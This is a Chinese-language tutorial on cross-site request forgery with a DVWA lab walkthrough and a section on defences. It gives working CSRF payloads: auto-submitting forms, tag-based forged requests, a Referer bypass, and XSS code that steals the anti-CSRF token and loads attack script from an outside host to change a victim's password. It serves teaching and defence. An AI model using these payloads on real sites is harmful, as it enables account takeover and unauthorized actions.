CSRF的介绍

CSRF(Cross-Site Request Forgery)即跨站点请求伪造,是一种广泛存在于网站中的安全漏洞,也是一种危害很大的客户端攻击手段。

CSRF经常配合XSS一起进行攻击,也有人把它归类成XSS攻击的一种。尽管CSRF原理和名字与XSS都很相像(都属于跨站攻击,不攻击服务器端而攻击正常访问网站的用户),但又不尽相同。

CSRF攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行在权限保护之下的操作,具有很大的危害性。具体来可以这样理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF 攻击方式并不为大家所熟知,实际上很多站点都存在CSRF的安全漏洞。早在2000年,CSRF这种攻击方式已经由国外的安全人员提出。但在国内,直到2006年才开始被关注。2008年,国内外多个大型社区和交互网站先后爆出CSRF漏洞,如:百度、NYTimes.com(纽约时报)、Metafilter(一个大型Blog网站)和YouTube等。但直到现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人 ”,其威胁程度由此“美誉”便可见一斑。

CSRF原理剖析

CSRF攻击能劫持终端用户在已登录的Web站点上执行非本意的操作。简单地说,攻击者透过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。CSRF的过程非常隐蔽,受害者甚至无法察觉。

产生CSRF 漏洞的原因主要有两点:一方面是开发者不够审慎,编写的Web应用程序存在漏洞导致被恶意利用;另一方面,是因为Web浏览器对于Cookie和HTTP身份验证等会话信息的处理存在一定的缺陷。

如大家所知,现在的Web应用程序几乎都使用Cookie来识别用户身份。当用户登录网站并且完成身份验证后,浏览器会得到一个标识用户身份的Cookie,只要不退出或关闭浏览器,以后访问该网站下的页面的时候,对于用户的每一个请求,Web浏览器都会主动附带该网站的Cookie来标识身份。如此一来,用户不需要重新认证就可以被网站识别。

这时候,如果从第三方 Web 页面发起对当前网站域下的请求,该请求也会带上当前网站的Cookie,包括对Web页面中任意文件(如IMG)的请求都会带上相应的Cookie,这种认证方式称之为隐式认证,攻击者正是利用该缺陷实施CSRF攻击。

举个例子,假设某个站点具有转账功能,实现该功能的HTML表单如下:

1
2
3
4
5
<form action="transfer.php" method="POST">
账号:<input type="text" name="toBankId" /></br>
金额:<input type="text" name="money" /></br>
<input type="submit" value="提交" />
</form>

这时候,只要用户输入相应的账号和金额并提交就能实现转账。于是,攻击者通过构造特殊的URL,如http://bank.com/transfer.php?toBankId=99&moncy=1000,将链接发送给用户并诱使其单击,只要受害者单击了此链接,就会自动执行转账操作。

整个CSRF的过程如下图所示:

image-20211117215209808

  1. 受害者登录银行网站

  2. 通过身份验证,在受害者本地机器中生成Cookie

  3. 受害者单击了含恶意代码的链接,或者直接访问了第三方网站 attack.com,并浏览带有下面HTML代码的页面:

    1
    <img src="bank.com/transfer.php?toBankId=99&money=1000">
  4. 恶意代码利用受害者的身份发送一个请求,即执行CSRF

  5. 受害者发现银行账户莫名其妙少了1000元

以上CSRF案例之所以成功的一个原因是,开发人员滥用$_REQUEST()方法,导致本来的POST操作可以用GET方式实现。那么如果开发人员改用$_POST()方法来获取数据,是否就安全无忧了呢?答案是否定的。

如果一个网站中含有CSRF漏洞,并且接受GET请求形式,类似上例,只要使用<img>标签等请求形式就可以轻易发动CSRF攻击。但是,如果该网站仅接受POST请求,那么想成功执行CSRF就要从第三方网站发动攻击,且需要使用JavaScript代码。

要自动发送一个POST请求到目标站点,可以参考下面的HTML代码片段:

1
2
3
4
5
6
7
8
<form id="test" method="post" action="http://bank.com/transfer.php">
<input name="toBankId" value="99" />
<input name="money" value="1000" />
<input type="submit" value="提交" />
</form>
<script>
test.submit();
</script>

综上所述,攻击者想要发起CSRF攻击是一件相当容易的事情:只要精心构造一个恶意的URL诱使受害者单击,或者把预测好的请求参数放在站内图片链接中即可。而此类攻击往往会给用户和网站造成无法估计的损失和破坏。

常见的CSRF方式

img 标签属性

1
<img src="http://www.test.com/?command">

<img>以GET方式请求第三方资源,所以,浏览器会带上你的网站的Cookie发出的Get请求。

script 标签属性

1
<script src="http://www.test.com/?command"></script>

iframe 标签属性

1
<iframe src="http://www.test.com/?command"></iframe>

JavaScript方法

Image对象

1
2
3
4
<script>
var foo = new Image();
foo.src = "http://www.test.com/?command";
</script>

XMLHTTP对象

1
2
3
4
5
6
7
8
9
10
11
<script>
var post_data = 'name=value';
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://www.test.com/file.txt', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>

post方法

1
2
3
<script>
post('http://www.test.com/',{'CMD1':cmd1,'CMD2',cmd2});
</script>

Fetch API

1
2
3
4
5
6
7
8
<script>
let url="http://www.test.com/?command";
fetch(url,{credentials: 'include'}).then((resolve) => {
if(resolve.ok){
return resolve.json();
}
}).then((resolve) => console.log(resolve));
</script>

注:fetch默认是不带cookie请求,带上参数:credentials: “include”就可以带cookie了

CSRF与XSS的区别

CSRF XSS
名字 跨站请求伪造 跨站脚本
脚本 未必需要脚本,如GET型的CSRF 需要借助JavaScript脚本
产生原因 采用了隐式的认证方式 对用户输入没有正确过滤
防御技巧 验证来源referer,使用验证码、token等 输入过滤、输入编码等
关系 (1)如果一个网站存在XSS漏洞,那么很大可能存在CSRF
(2)均利用用户的会话执行某些操作
(3)CSRF的恶意代码可能位于第三方站点,所以过滤用户的输入能够完美防御XSS漏洞,却未必能防御CSRF

靶场演示(DVWA - CSRF)

Low级别

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

GET方式得到三个参数,change、password_new、password_conf。如果password_new和password_conf相同,那么更新数据库,并没有任何防CSRF的措施。这里我们有多重攻击方式,比如直接构造链接、构造短链接和构造攻击页面。

构造恶意链接

1
http://hackrock.com:812/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

既然参数是GET方式传递的,那么我们可以直接在URL链接中设置参数,如果用户用登陆过该网站的浏览器(服务器会验证cookie)打开这个链接,那么将直接把参数传递给服务器,因为服务器并没有防CSRF的措施,所以直接可以攻击成功,密码将被改为123456。到那时如果用户在没有登陆过这个网站的浏览器上打开这个链接,并不会更改密码,而是跳转到登录界面。因为服务器在接受访问时,首先还要验证用户的cookie,如果浏览器上并没有之前登录留下的cookie,那攻击也就无法奏效。这么看来CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

上面的攻击链接太明显的,参数直接就在URL中,这样很容易就会被识破,为了隐藏URL,可以使用生成短链接的方式来实现。就是将原链接转换等一个比较短的URL链接,打开短链接和打开原链接等价的。

构造攻击页面

真实CSRF攻击中,攻击者为了隐藏自己的攻击手段,可能构造一个假的页面,然后放在公网上,诱导受害者访问这个页面,如果受害者访问了这个页面,那么受害者就会在不知情的情况下完成了CSRF攻击。自己测试可以写一个本地页面,也可以利用burpsuit直接生成攻击页面代码。方法如下:

抓取更改密码的数据包,利用engagement tools生成CSRF PoC,访问点击提交之后就可以更改密码。

image-20211118132229966

复制生成的html代码即为我们需要的攻击页面代码。

image-20211118132246915

访问点击提交之后就可以更改密码。

image-20211118131908075

image-20211118132350834

medium级别

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

stripos(a,b)返回 b 存在于 a,字符串开始的位置,字符串起始位置为0,如果未发现 b 则返回false。代码检查了保留变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)。

针对这一种过滤规则,有人可能会想到将攻击的页面的源文件名改为Host字段的主机名.html,是不是就可以让Referer参数值包含主机名从而达到绕过呢?

答案是不可行的,因为浏览器并不允许跨域请求,当出现跨域时,Referer便会遵循同源策略,Referer的值会自动将后面的路径去除。

image-20211118160147989

但是,假如受害者登录的服务器域名为126.com,如果不验证根域名为126.com 那么可以让攻击者的服务器域名为126.com.xxx.com,这样便可以达到绕过。

也可以使用HTML注入或者XSS的方式进行绕过。

image-20211118162838291

high级别

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

high级别的源码中加入了Anti-csrf token机制,由checkToken函数来实现,用户每次访问更改密码页面时,服务器会返回一个随机的token,之后每次向服务器发起请求,服务器会优先验证token,如果token正确,那么才会处理请求。所以我们在发起请求之前需要获取服务器返回的user_token,利用user_token绕过验证。

在审查页面元素时,我们可以在表单隐藏域中找到token。

image-20211118165220341

我们可以结合XSS来获取token。测试代码如下:

1
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>

image-20211118170531294

结合CSRF构造我们的攻击代码。

攻击者的恶意JS代码:

1
2
3
4
http_server = "http://192.168.123.42/DVWA/vulnerabilities/csrf/";
password = 123456;
token = frames[0].document.getElementsByName('user_token')[0].value;
new Image().src = http_server + "?password_new="+password+"&password_conf="+password+"&Change=Change&user_token="+token;

注入的XSS代码:

1
<iframe src="../csrf" border="0" style="display:none;" onload=eval("appendChild(createElement('script')).src='http://hackmee.com/attack/attack_token.js'")>

当受害者访问注入了XSS代码的页面时,密码便会被修改。

CSRF的防御

检验HTTP Referer

在HTTP头中通常有一个Referer字段,该字段记录了HTTP请求的来源地址,通过检查来源地址是来自站内还是来自远程的恶意页面,能够解决从站外发起的CSRF攻击,顺便解决非法盗链、站外提交等问题。

验证码

该方法的实现思路是:每次用户提交内容时,都要求其在表单中填写图片上的随机验证码,并且在提交表单后对其进行检测。

使用验证码技术不但可以抵御CSRF,还可以防止恶意注册、登录、灌水和提交信息等行为。验证码对于用户来讲应该非常熟悉,它通常是将一串随机产生的数字或符号生成一幅图片,并在图片里添加一些干扰象素,然后由用户识别验证码信息再输入表单进行提交,网站验证成功后才能使用某项功能。

使用Token

CSRF之所以成功的一个重要原因是:攻击者能够预知和伪造请求中的关键字段,因此,在请求中放入攻击者不能伪造的信息就能起到防范CSRF的作用。

例如,在 HTTP请求中以参数的形式加入一个随机产生的请求令牌(Token),并在服务器端对其进行验证。如果请求中没有Token或者Token 内容不正确,则认为可能是CSRF攻击而拒绝该请求。

实际上,请求令牌和验证码的原理是一样的,只不过目的不同,前者是为了保证收到的请求一定来自预期的页面,后者主要是为了解决POST请求重复提交的问题。

以上介绍的几种CSRF 防御手段各有利弊,没有一种方法是完美的。我们要谨记一点:无论网站的CSRF防范有多么严密,只要网站有其他安全漏洞(如XSS),那么攻击者仍然可以绕过安全防护发动攻击。

参考资料